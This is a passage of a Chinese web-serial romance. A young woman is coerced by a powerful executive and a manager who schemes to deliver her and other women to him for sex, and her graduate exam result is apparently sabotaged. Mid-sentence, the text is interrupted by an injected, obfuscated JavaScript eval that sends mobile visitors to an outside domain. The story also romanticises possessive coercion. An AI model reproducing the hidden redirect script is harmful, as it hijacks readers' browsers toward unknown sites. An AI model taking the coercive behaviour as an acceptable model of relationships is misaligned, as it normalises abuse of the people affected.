掌心覆盖住女人白皙的手,几乎将她揽入怀。 “手肘不要动,身体稳定,打球的中心点。” 手上力道加重,清脆击球声中,稳稳入洞。 宋洛允呼吸都不敢用力,握着香烟的那只手近在咫尺,烟头燃着的温度穿过空气烫向她,呛鼻的味道不断袭来。 漂亮的柳叶眉微微拧起,她不喜欢烟味,但也不会傻到认为他会为了她戒烟。眼睛定格在球桌上,嘴巴抿成一条线,轻轻地闭气。 身后的人有片刻没动静。 掌心力道稍松,男人竟松开她,不动声色绕到垃圾桶旁,掐灭香烟。 像能听见她心声似的。 拧开桌上的矿泉水瓶,看着独自练习的女人,他问:“这是第几次。” “什么?”宋洛允又一次呲杆。 “他让你陪酒的次数。” “不知道。”宋洛允勉强维持和气,“不是您要求的吗?他们说您对我有意思,我能拒绝?” “上一个是谁。”傅淮之问。 宋洛允接不住他的脑回路:“什么上一个?” 傅淮之重新来到她身边,他也生了气似的,握住她手的力道更重,在她的手背上用力揉搓。 他说:“上一个让你陪的人。” 宋洛允吃痛,试图抽回,又被他拽得更紧,不给她逃离机会。 “说话。” 傅淮之沉声,“他碰过你哪里?” “没有,没有人,这是第一次。”宋洛允手上不敢用力,却还是被他拽着,击向白球。 她背都僵直了,因为傅淮之不仅手臂用力,身体同样往前顶,胸膛直直撞向她的腰。 距离太近了,她能感受到他滚烫的躯体。 “如果是别人,你会来么。”傅淮之问她。 宋洛允:“不会。” 她除了说不会,没有其他选项。 傅淮之笑了声:“慌撒得挺快。” 他松开她,绕到球桌另一边,示意她过去。 同时说:“为什么拒绝我为你介绍的团队?” 他介绍的?DY工作室? 宋洛允不得不解读他潜在含义。 宋洛允说:“我现在的公司挺好的,没有跳槽的想法。” “好?”傅淮之又笑了,“你企图睡了我,你觉得我混球,公司企图让你陪睡别人,你觉得公司好。宋洛允,你对我怎么没有对别人一半的宽容?” “……” 他似不介意,平静地问:“你不信任我?” 宋洛允迅速回答:“没有。” “又撒谎。” 他又击中了一颗球。 这次撞向她的是男人的腰。 她几乎腿软,趴倒在桌上。 他在折磨她,用他的方式表达对她的不满。 宋洛允用手撑着自己,难堪的表情藏不住。 “站起来,打那个球。”男声在她耳侧。 那是个直线球,不难打,只是男人的手还揽在她身上,她看了看,想让他离开,他却无动于衷,耸肩说:“我不出力,你打。” 宋洛允闭着眼,随便往前捅,白球却连对面那个红球都没击中,直接入袋中。 头顶忽然传来很轻的笑声,松开抓着她的手走到袋口处拾起,他的情绪居然有所缓和。 他同时同她说:“这种事有一次就会有第二次,不如趁早走。” “没事。”宋洛允漫不经心地触碰手边一颗球,时而推到边缘,时而推回右手。 “我考研面试成绩马上出来了,如果考上的话我就不需要这份工作了。”她说。 “咚——” 有粒球直直朝她的方向转动,与她的手擦肩而过落入袋中,竟带来一阵冷风。 她的手不敢再放在那,便往回收。 傅淮之问她:“考什么学校?” “京大。” “什么时候出成绩?” “明天。” “有把握么?” 有时他说的话总像普通长辈对她的关心,倘若不参其他目的,或许他是个很会照顾人的大哥哥。 但他不是。 必然不是。 宋洛允低下头:“有把握,我的成绩很好。” “如果没考上呢?”傅淮之问她。 宋洛允说:“不会没考上的,我初试第一名。” 他忽然轻轻地笑了:“这对你很重要?” “当然。” “为什么?” “我的专业需要学历。”宋洛允只等他问,不爱过多回答。 “如果工作挣的钱够多,也会继续学你的专业?” “……嗯。” 宋洛允不知道他为什么突然对她的学业那么好奇,但她发现他对她的掌控比想象中更多,他知道她缺钱,工作只是为了挣钱。 她在他面前总归太渺小。 傅淮之没再说话,宋洛允也不会主动找话题,趁他专注于台球上时稍稍打开手机。 20多个未接来电,全都来自傅泽鸣。 同时他发了无数条消息。 【你在哪?】 【为什么不接电话?】 【接电话啊,发生什么事情了?】 【京城会哪个包间?快回我电话。】 【我到了,一个一个找,你别怕。】 宋洛允忽然不知道该怎么回复他。 愧疚与无奈交织,她只是希望他能将她带走,但眼下就算是他来了也无济于事。 “告诉他,我 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“大哥?”傅泽鸣看见宋洛允身边的人,皱了眉。 “有什么事吗?”傅淮之身上如被冰封过,锐利地投射在来人身上。 傅泽鸣眼睛猩红,手上还有方才太过着急不慎划上的伤痕,正往下淌着血,触目惊心。 “大哥,您……对她做了什么?”他看着宋洛允那狼狈的姿态,头发凌乱,眼神逃避,他怕她已经受到了强迫。 “我做了什么事需要向你汇报?”傅淮之冷声说。 傅泽鸣心里还是发怵的,在傅家内,除了家主,便是傅淮之最大,只有他过问他们的事情,他们向来没有资格要求他汇报。 但为了宋洛允,他只能尽力保持冷静:“大哥,洛允她是无辜的,您能不能放过她,她,是我的人。” “你的人?”傅淮之挑眉,话语落下却充满讽刺,“你怎会连你的人都保护不了,让她出现在这?” “我……”傅泽鸣哑口无言。 在来之前他想过无数种遭遇的可能性,她或许被人缠住,逼着她喝酒拿她消遣;或许会遇到更极端的事情。每一种可能性都令他气得通红了双眼,恨不得手撕了他们。 但怎样都没想到,傅淮之在这里,也只有他们两个人。 他们怎么会在一起?他是伤害她那个人,还是庇护她的人? 这些都没时间思考,他的情绪无法冷静,整个人也难以控制。 宋洛允始终被傅淮之圈在怀里,她不喜欢这么被动的动作,试图趁着他们争执的机会推开傅淮之。 未曾想挡在面前的那只手压根没有放松过,他挣扎,他愈加锢住她。 “傅大哥,您能不能放开我?”她说,她认为傅淮之不会在傅泽鸣面前有越界举动。 傅淮之却低头在她耳廓落下一句话:“刚才没想过抵抗,现在硬气了?” 这样的距离在傅泽鸣看来太过亲昵,内心强烈的占有欲让他想冲过去将人夺回来。 但他只能说:“大哥,我过来只是为了确认洛允有没有事,既然她没出什么事,那您能不能松开她,让我们先走。” “不是刚来么,怎么急着离开。”傅淮之手上力道稍松,宋洛允察觉到了,迅速挣脱,快步走到靠近傅泽鸣的位置。 男人看着她,不紧不慢,继续说:“听说还有几位朋友要过来,不妨多玩一会?” “不了,跟我们没有关系。”傅泽鸣冷漠地说。 话音刚落,门口忽地传来一阵话语声。 拐角处,男人带着笑踏进来,看见里面的人,笑容瞬间僵硬。 宋洛允看着他,及身后的人,难受得闭上眼睛。 周遭陷入沉寂。 9. 胁迫 来人是刘俊胜,身侧还有五六个女人,他将手搭在其中一人的腰上,在进屋上一秒唇边还挂着狎笑。 但看见里面出现的几人,他顿住了脚步。 刘俊胜闯荡职场那么多年,自诩自己非常能捕捉上级的眼神与动作,从晚上傅总对宋洛允的特殊态度能看出来,他肯定看上她了。 他要做的事情就是把这个女人送到傅总身边。晚宴刚结束他便跟在傅总身边暗示他,傅总只笑,未言语,他便知道稳了。 除了被看上的女人外,他同时多找了几个人。他清楚每个漂亮女人的想法,对方是上市公司总裁,年轻帅气,任何人都做了梦地想贴上去。他只要稍稍暗示,她们激动得双眼发光,开始幻想看上的人是自己。 她们不知道,这只是圈套。 傅总会先把宋洛允送过去,至于其他人,上了他的车,只会去到另一个目的地,到时候告诉她们这是见到傅总的代价,她们定会乖乖脱了裙子在他面前,他先享受了,再随便用个升职加薪的理由糊弄过去。 这也是对她们贪心的惩罚。 一切按计划进行,只是当车即将到达目的地时,他忽然接到一通电话,称傅总已经带着那个女孩离开了,京城会空出的包间可以由他享用。 京城会是整个京城规模最大的私人会所,普通人无权进去里面参观,听说门后集齐了所有令人醉生梦死的花样,有这个机会,他自然要进去参观。 但他没想到,消息是假的,傅总还在,并且多了另外的人。 隐隐生起不好的预感,但他依然保持镇定,假笑着打招呼。 “傅总我们来迟了,您……” 无人在意他的话。 那边声音同时出现:“大哥,您这是什么意思?” 说话的音调沉了许多,甚至像在质问。 傅淮之拿起台球杆,慢条斯理地就着方才的残局打下去,仿佛这边的事情与他无关。 见状,刘俊胜说:“噢,听说傅总在这,恰巧我们今晚也在这边,所以过来打个招呼。” “是吗?你们在哪个包间?我倒是好奇什么聚会会带这么多女性。”傅泽鸣的眼神也冷了。 刘俊胜察觉到这人不是个简单的角色。 眼下有点棘手,哪怕他身边有另一个男的都更能解释,一个男的,带着一群女性,去哪都带着别样色彩。 “刘主任是来找我的,弟弟何必这样生气。”傅淮之将台球击入袋口,同时说。 傅泽鸣下意识将宋洛允挡在身后。 印象里,这是傅淮之第一次喊弟弟。 此前他们只有在傅家家宴时才能见面,聊起来不过寒暄几句学业,他以为,他从来不会将他们当成一家人。 他握拳,努力忍下所有情绪,他提醒他了,要注意身份。 “大哥的事我无权过问,那你们玩,我们不打扰了。” 他伸手向着宋洛允,想起她不喜欢肢体接触,本该忍下的,但又闪过她被傅淮之圈住的画面,倘若他敢这么对她,她肯定会一巴掌拍向他并让他滚,但她没有这么对待傅淮之。 男人的胜负欲在作祟,他扯过宋洛允的手,强势表达归属权。 宋洛允没甩开,闭上眼睛,为了隔绝那道背对着她但依然凛冽的眼神。 但很快,又睁开了。 因为擦肩而过的是刘俊胜身边的女生。 她们应该是被骗过来的,他们走后或许不过十分钟,她们会被强迫、被威胁,从此过上生不如死的生活。 但是,她帮不了什么,同情心泛滥的事情她不喜欢干。 最后再看一眼,有的人嘴里含着甜美的笑,期待地望着那个男人,或许她们会是自愿的。 那就这么认为吧。 她无法解救所有人。 背后传来球体疯狂撞击的声音,砰,咚,哐当,似乎每一声都在表现那人情绪的烦躁。 努力将这些声音抛到脑后,她盯着地面,长长地叹了口气。 但没走远,忽然有道身影闪到她面前,她错愕地往后退,对上的是刘俊胜不依不挠的神情。 “洛允,你过来一下。” 他试图将宋洛允拉到暗处交谈,但傅泽鸣挡在她面前,眉宇间划上怒意。 他只能当着他的面说:“你怎么回事啊?不是让你好好陪傅总吗,现在却弄成这种局面,你让傅总多下不来台?” “什么叫‘陪’?”傅泽鸣抢在宋洛允之前说,“你凭什么要求他陪别人?这就是领导的作风?” “不,不是,这多好的机会。”刘俊胜压低了音量,“抓住机会对谁都好,但如果抓不住,那位生起气来,你我她的前途都完蛋了,这位兄弟,连你也不能保证能够保下她吧?” 刘俊胜从他们的对话中猜到,眼前这位是傅家人,但在傅家,除了几位候选继承人,其他充其量只能算是普通富二代,无权无势,同样得看人眼色。 他很清楚,傅总看上的只有宋洛允一人,她的不懂事已经让他非常生气了,他再怎样都得把人带回去。 傅泽鸣脸色特别难看。所有人都知道他只是傅家不起眼的存在,在名利场上所有的尊敬与目光只会投向那个人,但他怎么可能连一个女人都得不到。 狠了心想把人带走,但刘俊胜挡在面前,不肯退让。 余光闪过一道黑影,反应过来的时候宋洛允的手已经被人抓住,他心一凉,拽住她另一只手。 “大哥,你……” 傅泽鸣生怕她被人带走,死死拉着她,指节下陷处扩散出一道红晕。 “连一个人都解决不了。”傅淮之淡淡出声,却含着讽刺,“如果是我的人,我不会让她被人纠缠。” 傅泽鸣张了张嘴,想反驳,但他竟然没找到任何借口。他看着宋洛允,她皱眉看向傅淮之,试图挣脱但无果。他又悄悄松了口气。 无法解决又如何,她的首选项还是他。 “我这人一向看不惯有人受欺负。”傅淮之轻轻一笑,又如见义勇为那般温润地同宋洛允说,“有人试图胁迫你,你觉得应该怎么处置他?” 宋洛允双眼泛红。 一句“总是胁迫我的人难道不是你吗”卡在喉咙,她气得只想笑。 旁边的刘俊胜瞬间急了:“傅总,您这是什么意思?我,我可没有胁迫,这是洛允自愿的!” “是吗?”他的话语泛冷。 又偏头,换成温和的语气同宋洛允说:“你是自愿的吗?” 他这人有病。 宋洛允不动声色地从男人掌心抽离,再抹去另一只几乎将她掐出血的手。 低着头,慢慢说:“不是自愿的。” “看来同我相处是难为宋小姐了。”傅淮之轻轻笑着,“作为补偿,你觉得,我应该如何处置这个人?” “不是,傅总。”刘俊胜小心翼翼地说,“您是开玩笑的吗?” 傅淮之端着笑瞥了他一眼,却无法从他的眼睛里看到一丝善意。 “砰——” 刘俊胜忽然跪下去。 双手是颤抖的,他怎么都没想到,本应该升官加薪的一个晚上会演变成这样。 “傅、傅总。”他说,“我真不是故意的,我没有其他想法,您要不饶了我吧。” 傅淮之没说话,挑眉看着宋洛允,似在询问她的意见。 宋洛允握着自己泛红的手腕。 慢慢说:“我没有其他想法,只要他不再是我的领导就行。” 旁边传来愉悦的笑声,她揉了揉手腕,下定了决心。 她一向喜欢得寸进尺,既然傅淮之有这个本事,那不如先利用他解决眼下最难缠的事情,毕竟正如他所说,有第一次就有无数次。 至于以后会面对的问题,她再想办法。 “行。”傅淮之答应得爽快,“那就让公司开除他,并让行业通报,可以吗?” 宋洛允咬牙,点头。 刘俊胜急得疯狂求情,她只当没听见,往后退了一步。 傅泽鸣再将她挡在身后:“谢谢大哥,那我们可以走了吗?” 傅淮之体面地弯唇,做了个‘请便’的手势。 傅泽鸣总算松了口气,与宋洛允对视一眼,共同往外走。 …… 一直到坐在车上,窗外冷风不停灌入室内,宋洛允依然难以从混乱的氛围中脱离。 她发现,傅淮之对她的兴致不大正常。 以他的性格,倘若被人耍了,应该会直截了当报复,从此再不与她往来。 但他不是,他会在无数她想不到的角落出现在她的生活里,浪费无数时间纠缠她,病态地看着惊慌失措的她。 她天真地以为只要从游轮上离开,她就可以摆脱他,但根本不是,他已经盯上她了。 一次,两次。 那她应该怎么办。 她沉浸在自己世界里,全然没注意到身边人始终看着她。 傅泽鸣控制不住地想起她在傅淮之怀里的模样。 她没躲,没有生气,甚至耳根还是红的。 嫉妒得快疯了。 他轻轻地问宋洛允:“晚上的事,是不是我大哥策划的?” 宋洛允看着窗外发呆,一个“嗯”的音就这么从喉咙里溜出来。 傅泽鸣松了口气。 宋洛允跟傅淮之不会有交集。 只能是那个不长眼的把她当成礼物送给他,她是被强迫的,她不是自愿的。 “洛允,我替我大哥说声抱歉。”傅泽鸣说,“他性格比较极端,在那个位置待久了,总是需要些消遣方式,只是这次没想到会找到你。” 宋洛允没反应,她压根没听傅泽鸣说话。 后者忽然握住她的手,认真地说:“还好这次我来得及时,但我怕我大哥会盯上你,所以能不能让我保护你?” “……”宋洛允被他吓得回头,停顿了一会,才将手抽出来。 “我说认真的,我大哥看不惯有人不顺从他的意愿,只有你在我身边我才能安心,明天开始让我接送你上下班好不好?”傅泽鸣说得诚恳。 他提过很多回,想让宋洛允无论去哪都带他一起,他说是怕她出意外,但她清楚,他只是对她有控制欲,他想确定她出没的场合里有没有其他异性。 她从未答应过他,但是现在,面前不断闪现的只有另一张不断纠缠她的颜。 ——如果有傅泽鸣在她身边,那他是不是会收敛些? 捏着手,她想了很多。 回答:“行。” 傅泽鸣欣喜地看着她,连手都是抖的,但依然不放心,重复: “大哥他不是什么好人,所以你一定要离他远一点,不要跟他接触……答应我。” - 这一夜回家时已经是凌晨,宋洛允冲了个热水澡,在床上躺了一会,下半夜才入睡。 醒来时闹钟响了好几回,她才听见,赶到公司时已经迟到了一个小时。 办公室内氛围异常,单独的那个隔间门紧闭,却有不少人好奇地往里看,过了一会,有人出来,刘俊胜抱着纸箱,愤恨的眼神投向宋洛允。 等到人走后,李孜雅才敢小声同宋洛允说:“我才知道昨晚饭局结束后还发生了那么多事,你没事吧,那死老头不会真把你送给领导了?” “没有。”宋洛允不想多谈昨晚的事,“我没同意。” “那就好,听说昨晚他带走的几个女生都被停职了,不管是被怂恿的还是自愿的,有这种想法都不行。”李孜雅说。 公司发了公示,刘俊胜品行不端,作风不正,故被开除,文件里将他的罪行一一举例,此类事情不是初次发生。 这件事情处理速度很快,有红头文件在身,今后他无法在相关行业内工作。 因此成了这天办公室内最让人津津乐道的话题,蔡年闻着味就来了,拉了把椅子坐在宋洛允身边,试图从她口中追问出最好奇的答案。 “从前哪见公司这么有效率?肯定背后受到了压迫,你说会是谁想把刘俊胜拉下台啊?昨晚去的人只有你能全身而退,那人是在帮你吧?”她不加掩饰地问道。 “那么闲不如多处理点工作。”宋洛允烦得连样子都不想做了。 “工作哪有八卦有意思,你直说呗,难不成是你那富二代朋友出的手?”蔡年说,“他是谁啊?这么有本事?” “羡慕的话你大可以去泡一个。”宋洛允戴上耳机,隔绝脏东西的存在。 蔡年碰了壁,心情也差,故意撞她的椅子,回到自己工位上。 宋洛允深呼吸,尽可能调整自己心态。 今天会出考研复试成绩,她不希望有其他事情毁了自己的好心情。 …… 车流永不停歇,高楼拔地而起,傅氏在京城标志性建筑旁有几块地,其中一块建了重奢商场与写字楼,傅氏总部就在此。 傅淮之坐在高级会议厅里,盯着面前屏幕,手中转动一只钢笔,一圈,又一圈,姿态永远优雅,看不出他的心情。 傅渝轩打了个哈欠,低头看了眼手表。 哦豁,迟到七分钟了。 当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171356|180684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下正进行的是一场远程跨国会议,考虑到时差,他们冒着加班的风险将会议定在此刻,未曾想对方并不守时。 在此之前,对方公司也迟到过,那次仅三分钟,并且认错态度良好,傅淮之才给他们再一次机会,未曾想那只是试探。 傅渝轩已经翘起二郎腿,倘若不是合作事项已经谈好,他们很难再找到如此契合的伙伴,他大概已经想解除合作了,堂堂傅氏怎能忍受如此直白的不尊重。 又过了三分钟,视频会议室里才有信号,对方总裁出现在画面里,他带着歉意的笑,口中说着“sorry”,但即使是开了虚拟背景也盖不住背后的杂乱。 傅淮之同样笑着,用标准英式英语说:“您迟到了十分钟,但还好我们等到了。” 傅渝轩陪一个标志性的商业笑容,眼里的锋利却已藏不住。 余光瞥向傅淮之,他居然能忍,稀奇啊。 事实证明他足够了解傅淮之,他体面,但强势,一个事关整个公司的决定对他来说举重若轻。 他手搭在桌上,钢笔“啪”地一声摁在桌子,表情依然端庄,却说:“专程等到这个时间并不是为了听贵司的借口,而是亲自通知,傅氏即刻终止与贵司的所有合作。” 面前笔记本合上,会议结束,傅淮之起身,西服纹丝未皱。 傅渝轩瞬间收起让那连自己都不舒服的笑容,推动转椅,面向傅淮之,吊儿郎当地拍了拍手。 “这作风够霸气。” 他有一套在傅淮之面前表现的秘诀,就是拍马屁,只要够谄媚,就能将人哄得心花怒放——当然,他从不表现出来。 傅淮之斜睨一眼,推开座椅,越过他身边。 后者转了个身,也站起来,跟过去。 “你让我查的事,有结果了。”傅渝轩在他面前打了个响指,傅淮之走路速度不快不慢,他几步就能追上。 他刻意卖关子,不等到一句着急的询问,他不说,料定他在意此类事情。 傅淮之眉心掠过不耐,还是开口:“说。” “你先告诉我,为什么那么在意一个女人的事情,她甩了你,你非但不生气,还要费劲心思调查跟她有关的事,意图是什么?”傅渝轩含着笑出声。 “行。”傅淮之踏入电梯。 旁边助理抱着文件本本份份站在身后,傅渝轩后踏入,自觉摁下楼层。 男人继续说:“但我先确定一件事,你父亲知道你砸钱同网红开房,却被她丈夫发现,带人把你打了的事么?” “……草。”傅渝轩没忍住爆粗口。 身后的助理没忍住看向他——还有这种事? 傅渝轩狠狠瞪他,摁下最近一层到达的楼层,门打开,不留情地同助理说:“小梓,你出去。” 小梓:…… 多大点事啊,还不让人吃瓜了。 门关后,傅渝轩终于有一个宣泄口,愤愤地说:“我也是被骗了,那骗子长得太像她了,我没忍住扔了十几万礼物,下播后她发私信找我见面,谁知道这他妈是他们夫妻俩的骗局,二话不说把我揍了一顿……还把我那十多万卷走了。” 傅渝轩这件事,说来话长。 他身边有个跟了三四年的女人,但充其量只能算是床伴,一开始只是水到渠成,后面任何一方有需要都会呼唤对方,渐渐地成了密不可分的关系。 这人对傅渝轩而言有特殊感情,毕竟是第一个女人,他在各方面不会亏待她,更以为他们能保持这种关系。 但前阵子他发现,他把那女人当唯一,可人家不只有他一个床伴。甚至前半夜在他怀里,下半夜能在别人床上妩媚,同时毫无顾忌地比较几个男人的水平——他居然还不是第一。 更过分的是,那女的有个白月光,而他只不过是白月光的替代品。 男人的自尊心瞬间被刺激,气头上的他删除了女人所有联系方式,没想到女人直接敲响他家门——可耻的是,那个晚上他被挑起了火,两个人又这么滚在一起。 清醒时的傅渝轩越想越气,既然她有其他男人,那么公平起见,他必须有其他女人。 未曾想刚踏出第一步,就受了如此大的挫折。 “但归根结底也是她的错,她在跟我的过程中还跟了其他男人,她这是不忠!”傅渝轩强调。 结果傅淮之轻飘飘丢过来一句话:“没任何规定她不可以有别的人。” “……”傅渝轩又骂了句脏话,“你话能说得这么轻松?你被这么对待你能好受?把你甩了的那个,她要是有别的男人,你不发疯?” 话说得快,还没从脑子过滤一遍,等到反应过来时已经来不及了。 这话错在不假,人确实有别的男人,且目前看来,对方的胜率比他高。 正当他准备错开话题时,傅淮之淡声说:“若有,便抢回来。” 虽然这话语气平平,但傅渝轩觉得好似有把刀插入他的后背。 他接着问:“抢不回来呢?” “怎会抢不回?”傅淮之浅浅笑着,“我看上的人,就算是尸骨,也得在我身边。” “……” 傅渝轩有些后悔挑起这个话题。 傅淮之是个变态,变态说的话没有任何参考价值。 他可做不出把人宰了只为得到她的事,不过一个人,想走,就让她走呗。 “不过,你看上的这个人似乎惹麻烦了。” 两人踏入办公间,傅渝轩将门窗紧闭,潇洒坐在办公椅上。 昨日半夜,他一个人在家解闷,正到关键时候被一通电话打断,吓得他状态全无。 烦躁地接通电话,听到内容时更生气了——火急火燎电话打来,居然是为了查一个女人的考研成绩? 有病! 但很快冷静下来,傅淮之从来不会干脱裤子放屁的事,他会这么问,肯定是有怀疑的事情。 果然—— “她笔试成绩排名第一,但复试考核里总分未达到60%,直接淘汰。” 他对这个人的成绩没有了解,但笔试排名第一的人却因为这种原因淘汰,绕是他一个自小在国外念书的人都觉着不正常。 于是他深入调查过:“这个分数归功于京大材料科学院的博导张酩,他是复试考核组的组长,为大多数考生的评分偏高,却在宋洛允这评判得如此低,显然有问题。” “他与宋洛允并无过节,不会平白无故针对一个人,大概是受到指使。” “这个人不好找,我也想不出她怎么惹上那么大的仇人,恨不得将她前程毁了。” 10. 耐心 复试成绩公布时间在下午四点到六点之间,宋洛允还在上班,只能拜托翁雪帮她关注。 翁雪在下午三点给她发了消息: 【放宽心,你可是连保研名额都能拿到的人,区区复试没问题啦,下午好好上班,等我好消息!】 宋洛允温暖地笑了笑,之后忙于工作,没来得及回复。 没想到当太阳下山时间,即将结束一日忙碌工作的她再次看向手机,会收到这样一条消息。 【洛允……我觉得你肯定是被针对了,你别上系统查了,等你下班我去找你,咱一起喝个酒,再商量怎么办。】 宋洛允心一凉。 几乎手抖着打开网页,一直到最后依然抱有期待,只是残忍地迎来了白底页面里“未录取”三个字。 她一下子懵了,盯着屏幕上的字,停顿许久。 翁雪又发来一条信息:【我问过我同学了,如果觉得成绩不对直接申请复核就行,你别灰心。】 【但我觉得这件事应该又是你妈搞的鬼,她不是狠心到让你失去保研资格吗,她是不是不想让你读书,想用这种方式逼你回去结婚?】 宋洛允脑子一团乱麻。 她的保研资格确实是这么失去的,当时周瑛殊擅自截留通知,让她误以为自己落选了,直到一周后专业教授找到她,惋惜地问她为何放弃保研,她才知道早因自己迟迟未确认从而结束了这场竞争。 那时的她还能保持乐观,毕竟还有机会,但现在她已经彻底失去了九月份读书的权利,连她也不知道要怎么办了。 浑浑噩噩地离开公司,挤入人头攒动的电梯间,又被推着向前,走到大门口,那里停着一辆车,有个人抱着束花靠在那。 “洛允!”傅泽鸣朝她喊着,过于大的嗓门让附近的人好奇地投来目光。 他跑到她面前,将花递给她:“祝贺你,成绩一定不错吧。” 宋洛允看着那束花,备考时焦虑紧张的心情浮现在眼前,她的鼻子一酸,眼泪竟这么掉下来。 “你怎么了?怎么突然哭了?”傅泽鸣吓得皱眉,第一反应是她在公司受了委屈,忙将人拉到车上,递给她几张纸巾。 “谁欺负你了?昨晚那个主任?你告诉我,我绝对要他好看。”他眉弓紧绷,眸里浮起几分戾气。 “不是。”宋洛允用手抹去眼泪,不想多说,呆滞地看向窗外。 傅泽鸣很快得知宋洛允心情不好的原因。 他将宋洛允送回家,很讲分寸地在楼下告别,又去买了她喜欢吃的晚餐,送到她家门口,发消息告诉她之后离开。 隔天提前半个小时前来送她上班,已经准备好温豆浆与热包子,听说今天会降温,多备的一件外套已经在后座。 只在路上提起这件事:“应该是哪个环节出了问题,你申请复核吧,我问问我家里人有没有谁能帮忙。” “没事。”宋洛允昨晚一宿没睡好,眼眶红红的,眼皮子肿得厉害。 “不用麻烦了。”她说,“我回学校看看。” “你什么时候过去?我送你。” “不用,我有空自己过去就行。” “那行,你去的时候跟我说,我下课就去找你。”傅泽鸣说。 他课多,从早上到晚上基本都在上课,这个点是他逃课了才换来送她上下班的时间。 京大教育严格是出了名的,每节课都会点名,无法找人代课,缺课次数多了会直接算挂科,挂科无法补考,只能重修。 虽然代价惨重,但为了宋洛允,就是值得的。 …… 很快,复试复核结果出来了,没有具体的分数,只有冷冰冰一句:经复核,成绩无误。 宋洛允回到京大,看着无数带着轻松笑意的学弟学妹从她身边经过,忽然不知道怎么同自己的导师交代。 她的导师是她的启蒙人,他姓刘,全名刘奕,在她高考后学校开过一场关于如何选专业的讲座,刘教授在分享时说了句对她影响颇深的话:“志不求易者成,事不避难者进[1]。”她因此记住这个专业。 会议结束后,刘教授亲自找到她,她高考理综成绩接近满分,他认为她是适合科研的好苗子,后来他专程将她带在身边培养,为她付出许多。 不过她并不是优秀的学生,同专业学生课余时间基本都在实验室,要么自主创业参加比赛,要么一篇接一篇发论文,而她还要花时间去兼职、去研究与专业无关的赚钱方法。她条件特殊,刘教授提出资助她学习,但她拒绝了,承诺自己可以兼顾两方。事实证明,既要又要的结果就是什么都做不好。 一路走到办公楼,怀着不安的心敲了两下门。 迟迟没人打开,却迎来一声玻璃摔碎的声响,丁零当啷,让人心惊。 宋洛允下意识后退,在想自己应该离开,还是推门进入。 这时,门被打开。 看见刘教授第一眼时他眼眸里还有未散去的怒意,但兴许是因为她,他将情绪收敛些许。 温声说:“小允,进来吧。” “刘教授。”宋洛允礼貌打招呼。 往里踏了一步,却又顿在原处,目光在里面的熟悉的身影上定格。 那人安静坐在沙发,指节缓慢地沏茶。他肩膀处被泼湿,白衬衫的领口已被染成黄色,但氤氲茶雾中,他眸眼依旧沉静如水。 是傅淮之。 宋洛允心脏突然狂跳。 闪过的第一个猜测,居然是他因为她才会找到这里来。 再前进一步,男人同时站起身,几乎是下意识地,她又缩回脚步。 然而男人并未看向她,而是淡然蹲下,一块一块拾起玻璃碎片。 “小允,你到这边来。”刘奕唤她。 宋洛允应好,穿过男人,坐在刘教授推过来的椅子上。 刘奕没说话,她也不敢主动出声,眼神只能看着那个屈身收拾残局的人,他那个无论何时都受到尊敬与奉承的人,原来也会主动做这种事。 男人缓缓直起身,将装着玻璃碎片的垃圾袋系上,再将泡好的茶送至办公桌前,共两杯,宋洛允面前也有。 干完这一系列事情,他款款低下头,态度谦逊平和:“爷爷,您先忙,我不打扰了。” 门打开又关闭,室内寂静,只流动着诧异又担忧的空气。 宋洛允心里的疑问未减。 他原来不是因为她而来的吗?但他怎么会在这?刚才的异响是发生了什么? 她没有过问的权利,只能出声谈正事:“刘教授,我的复试成绩出来了。” “我看到了。”刘奕神情严肃,甚至未理会出门的人,同她说,“我没想到你会考出这样的分数。” 宋洛允难受得闭眼,她无法面对恩师失望的表情。但她似乎无法告诉他她或许是被陷害了,她没有证据,而且万一……这个分数是她应得的。 “你实话告诉我,复试时你表现怎么样?”刘奕问她。 “我说不上来,但应该还可以。”宋洛允说。 刘奕叹了口气。 材料科学与工程专业考研难度并不大,他带过那么多届学生,本科毕业后基本都会有不错的去向,还没遇到过让他这么愁的。 “我记得你说过,你的家里人一直不同意你读书深造,你想一下,这件事情会不会跟他们有关。”他委婉地说。 宋洛允点头。 她应该庆幸,刘教授依然相信她的实力,第一反应并不是指责。 但她也不知道该如何跟家里斗争。 从去年她拒绝嫁给继父安排的人之后,他们便像疯了那般针对她,继父说,女人读再多书挣到的钱都不如嫁人获取到的财富多,才高八斗远远不如腰缠万贯。 她没想到,自己的妈妈居然会听信这些传销般言论。他们合伙拦截她保研的消息,再轻而易举切断她考研的机会。 她读不了研究生,无法从事梦想中的工作,所能做的只有当下勉强维持生计的职业,但那个职场乌烟瘴气,她仿佛已无了动力。 离开办公楼,宋洛允满脑子都是刘教授同她说的话。 他委婉地提醒她,京大的教授是为学校乃至为国家做过巨大贡献的人,绝对不是轻易可以赌上仕途被收买的人。她的母亲改嫁的那个人虽小有名分,但远远不够怂恿任何一位教授的地位,所以肯定联合了其他人。 刘教授劝她跟家里人说清楚,试图让他们理解她的追求。倘若实在不行便利用法律武器,但首要的任务是找到证据。 宋洛允只剩下无力感。 她毫无头绪,从哪能找到证据,更深知自己无法与家里人沟通。 边走路边掏出手机,看到傅泽鸣发的几条消息,问她在没在学校,想与她一起吃晚饭。 宋洛允回了个“好”,放下手机。 视线却直直对上正前方的男人。 脚步未曾停顿,她迅速假装没看见,换了个方向走。 却听见越来越近的脚步声,她认栽,走到树荫下,主动停下脚步。 傅淮之依然是方才的那副模样,领口的茶渍又扩散一片,只是西服整洁扣起。他的举止间的礼让已经散了,取而代之的是熟悉的强势。 “见面不知道打招呼?”他拽过她的手腕,力道不大,但会随着她挣扎的动作加重。 再往前踏一步,将人抵在树干旁,居高临下欣赏她,他似乎很喜欢这样的姿势。 宋洛允不情不愿地说:“傅大哥。” “嗯。”傅淮之却心满意足。 近距离看着女人的面庞,从眼睛移至嘴唇,喉结滚了滚,还是压下强烈的冲动。 “考研结果出来了?”他问。 宋洛允说:“嗯。” “考得不好?”他又直白地出声。 宋洛允并不想被别人以嘲讽的语气提及这件事,头稍偏,回避了这个问题。 